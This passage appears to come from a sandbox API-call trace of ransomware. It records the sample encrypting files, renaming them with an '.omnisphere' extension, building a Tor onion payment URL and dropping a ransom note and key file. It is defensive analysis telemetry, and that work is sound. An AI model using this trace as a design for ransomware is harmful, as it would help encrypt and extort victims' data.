[0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.022] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.023] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.023] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.023] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.023] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.023] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.023] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.023] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.023] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.023] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.023] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.023] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.023] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.023] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0127.023] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2ba, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.023] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.023] GetProcessHeap () returned 0x1600000 [0127.023] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c2) returned 0x16f15e8 [0127.023] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RMIrT LtW_D-mpk_75FE.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rmirt ltw_d-mpk_75fe.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RMIrT LtW_D-mpk_75FE.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rmirt ltw_d-mpk_75fe.lnk.omnisphere")) returned 1 [0127.024] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RMIrT LtW_D-mpk_75FE.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RMIrT LtW_D-mpk_75FE.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RMIrT LtW_D-mpk_75FE.lnk.omnisphere.id" [0127.024] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RMIrT LtW_D-mpk_75FE.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\rmirt ltw_d-mpk_75fe.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.024] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.025] CloseHandle (hObject=0x3c0) returned 1 [0127.025] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.026] CloseHandle (hObject=0x288) returned 1 [0127.026] SetEndOfFile (hFile=0x28c) returned 1 [0127.026] FlushFileBuffers (hFile=0x28c) returned 1 [0127.040] CloseHandle (hObject=0x28c) returned 1 [0127.040] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RMIrT LtW_D-mpk_75FE.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.040] GetProcessHeap () returned 0x1600000 [0127.040] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f18b8 [0127.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.040] GetProcessHeap () returned 0x1600000 [0127.040] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5a78 [0127.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5a78, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.040] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.040] GetProcessHeap () returned 0x1600000 [0127.040] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8468 [0127.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8468, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.041] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.041] GetProcessHeap () returned 0x1600000 [0127.041] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8a98 [0127.041] PathCombineW (in: pszDest=0x16d8a98, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.041] GetProcessHeap () returned 0x1600000 [0127.041] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16dd600 [0127.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.041] WriteFile (in: hFile=0x28c, lpBuffer=0x16dd600*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16dd600*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.041] CloseHandle (hObject=0x28c) returned 1 [0127.041] GetProcessHeap () returned 0x1600000 [0127.041] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f18b8 | out: hHeap=0x1600000) returned 1 [0127.041] GetProcessHeap () returned 0x1600000 [0127.041] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.042] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.042] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.042] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.042] CloseHandle (hObject=0x28c) returned 1 [0127.042] GetProcessHeap () returned 0x1600000 [0127.042] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.042] GetProcessHeap () returned 0x1600000 [0127.042] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166ab78 | out: hHeap=0x1600000) returned 1 [0127.042] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb82ca90, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x229bf48d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x229bf48d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Roaming.lnk", cAlternateFileName="")) returned 1 [0127.042] GetProcessHeap () returned 0x1600000 [0127.042] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x167c0c8 [0127.042] PathCombineW (in: pszDest=0x167c0c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="Roaming.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" [0127.042] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.042] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.043] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=772) returned 1 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.043] GetTickCount () returned 0x115fb35 [0127.044] GetTickCount () returned 0x115fb35 [0127.044] GetTickCount () returned 0x115fb35 [0127.044] GetTickCount () returned 0x115fb35 [0127.044] GetTickCount () returned 0x115fb35 [0127.044] GetTickCount () returned 0x115fb35 [0127.044] GetTickCount () returned 0x115fb35 [0127.044] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668240) returned 1 [0127.044] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.044] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.044] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.044] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0127.044] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x304, lpName=0x0) returned 0x288 [0127.045] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x304) returned 0x1480000 [0127.045] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0127.045] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16395e8) returned 1 [0127.045] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.045] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.046] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.047] CryptEncrypt (in: 